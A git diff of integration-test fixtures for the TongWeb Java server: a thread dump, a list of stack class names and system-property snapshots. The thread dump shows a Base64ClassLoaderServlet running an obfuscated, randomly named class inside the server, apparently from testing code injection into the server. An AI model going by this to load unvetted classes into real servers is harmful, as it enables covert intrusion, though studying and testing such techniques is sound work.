+"http-nio2-8080-exec-4" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-31" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@619384d7
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-5" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"compress-log-timer" #12 daemon [TIMED_WAITING] on java.util.TaskQueue@301a6988
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI RenewClean-[172.17.0.4:43741]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3613f4b
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-10" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c0730df
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@61cfbab4
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"http-nio-5100-exec-7" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-7" #32 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at com.google.gso.fnhhs.ErrorXgxzkHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
+ at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:108)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:26)
+ at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44)
+ at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
+ at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
+ at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97)
+ at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
+ at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
+ at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:71)
+ at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:30)
+ at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:425)
+ at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:772)
+ at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19)
+ at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
+ at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:803)
+ at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1610)
+ at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
+ at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:832)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:640)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:618)
+ at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126)
+ at sun.nio.ch.Invoker$2.run(Invoker.java:218)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1167)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-1" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@177eb6a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Accept-7200" #88 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"OptionalSysInfoUtil Timer" #120 daemon [WAITING] on java.util.TaskQueue@27ac92c
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-9060-exec-6" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@404ae151
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"process reaper" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@86b254f
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2dcf6d55
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
+
+"process reaper" #121 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.UNIXProcess.waitForProcessExit(Native Method)
+ at java.lang.UNIXProcess.lambda$initStreams$3(UNIXProcess.java:289)
+ at java.lang.UNIXProcess$$Lambda$33/1508274142.run(Unknown Source)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-1" #113 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-Acceptor-0" #98 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@31c96842
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:450)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-27" #117 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65aef4fe
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@303ceae7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(idle)" #94 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@34bee459
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-3" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e8d06f0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1089)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1151)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:623)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(idle)" #91 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@34bee459
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.google.gso.fnhhs.ErrorXgxzkHandler
+com.tongweb.catalina.authenticator.AuthenticatorBase
+com.tongweb.catalina.connector.CoyoteWriter
+com.tongweb.catalina.connector.ThanosCoyoteAdaptor
+com.tongweb.catalina.core.ApplicationFilterChain
+com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor
+com.tongweb.catalina.core.StandardContextValve
+com.tongweb.catalina.core.StandardEngineValve
+com.tongweb.catalina.core.StandardHostValve
+com.tongweb.catalina.core.StandardServer
+com.tongweb.catalina.core.StandardWrapperValve
+com.tongweb.catalina.core.ThanosStandardContextValve
+com.tongweb.catalina.core.ThanosStandardEngineValve
+com.tongweb.catalina.realm.RealmValve
+com.tongweb.catalina.startup.Bootstrap
+com.tongweb.catalina.startup.Catalina
+com.tongweb.catalina.startup.ThanosCatalina
+com.tongweb.catalina.valves.ErrorReportValve
+com.tongweb.commons.exec.DefaultExecutor
+com.tongweb.commons.exec.StreamPumper
+com.tongweb.coyote.AbstractProcessorLight
+com.tongweb.coyote.AbstractProtocol$AsyncTimeout
+com.tongweb.coyote.AbstractProtocol$ConnectionHandler
+com.tongweb.coyote.http11.Http11Processor
+com.tongweb.coyote.http11.ThanosHttp11Processor
+com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer
+com.tongweb.tomee.catalina.OpenEJBValve
+com.tongweb.util.sys.OptionalSysInfoUtil
+com.tongweb.util.sys.OptionalSysInfoUtil$1
+com.tongweb.web.util.net.AbstractEndpoint
+com.tongweb.web.util.net.Nio2Endpoint$Acceptor
+com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4
+com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor
+com.tongweb.web.util.net.NioBlockingSelector$BlockPoller
+com.tongweb.web.util.net.NioEndpoint$Acceptor
+com.tongweb.web.util.net.NioEndpoint$Poller
+com.tongweb.web.util.net.SocketProcessorBase
+com.tongweb.web.util.threads.TWThreadPoolExecutor
+com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker
+com.tongweb.web.util.threads.TaskQueue
+com.tongweb.web.util.threads.TaskThread$WrappingRunnable
+com.tongweb.web.websocket.server.WsFilter
diff --git a/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt
similarity index 84%
rename from integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt
rename to integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt
index 0b46f4be..ad244add 100644
--- a/integration-test/src/test/resources/infos/TongWeb7ContainerTestBasicInfo.txt
+++ b/integration-test/src/test/resources/infos/TongWeb7042ContainerTestBasicInfo.txt
@@ -1,21 +1,18 @@
-# Generated At 2025-08-10 15:27:02
+# Generated At 2026-05-24 11:01:09
SystemProps:
-java.vendor: Oracle Corporation
+java.vendor: Temurin
tongweb.restart.interval: 1
-pid_file_path: /opt/tweb7/tongweb.pid
sun.java.launcher: SUN_STANDARD
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
catalina.useNaming: true
os.name: Linux
xss_defense: true
openejb.provider.default: com.tongweb.tomee
-sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
+sun.boot.class.path: /opt/tweb7/lib/endorsed/annotation-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
-disableResourceCache: true
checkNonXADB: true
java.vm.specification.vendor: Oracle Corporation
-java.runtime.version: 1.8.0_342-b07
-enable_query_cache: false
+java.runtime.version: 1.8.0_482-b08
tomee.version: ${pom.version}
user.name: root
openejb.deployments.classpath.filter.systemapps: false
@@ -27,15 +24,14 @@ java.naming.factory.initial: com.tongweb.naming.java.javaURLContextFactory
user.language: en
derby.system.home: /opt/tweb7/bin
ibm.stream.nio: true
-sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
openejb.deployments.classpath: false
resLowversionLoad: false
-tongweb.java: /usr/local/openjdk-8
-java.version: 1.8.0_342
+tongweb.java: /opt/java/openjdk
+java.version: 1.8.0_482
java.util.logging.manager: com.tongweb.log.TongwebLogManager
user.timezone: Etc/UTC
java.net.preferIPv4Stack: false
-tongweb.X_Frame_Options: SAMEORIGIN
sun.arch.data.model: 64
tongweb.util.buf.StringCache.byte.enabled: true
LoadClassCache.Disabled: true
@@ -47,20 +43,20 @@ file.encoding.pkg: sun.io
package.access: sun.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.web.
file.separator: /
java.specification.name: Java Platform API Specification
-tongweb.jmx.remote.x.access.file: /opt/tweb7/conf/security/jmxremote.access
java.class.version: 52.0
tongweb.util.scan.StandardJarScanFilter.jarsToSkip: bootstrap.jar,commons-daemon.jar,annotations-api.jar,el-api.jar,jsp-api.jar,servlet-api.jar,websocket-api.jar,jaspic-api.jar,catalina.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,jasper.jar,jasper-el.jar,ecj-*.jar,catalina-jmx-remote.jar,catalina-ws.jar,tools.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,jstl.jar,taglibs-standard-spec-*.jar,geronimo-spec-jaxrpc*.jar,wsdl4j*.jar,ant.jar,ant-junit*.jar,aspectj*.jar,jmx.jar,h2*.jar,hibernate*.jar,httpclient*.jar,jmx-tools.jar,jta*.jar,log4j*.jar,mail*.jar,slf4j*.jar,xercesImpl.jar,xmlParserAPIs.jar,xml-apis.jar,junit.jar,junit-*.jar,hamcrest-*.jar,easymock-*.jar,cglib-*.jar,objenesis-*.jar,ant-launcher.jar,oraclepki.jar,cobe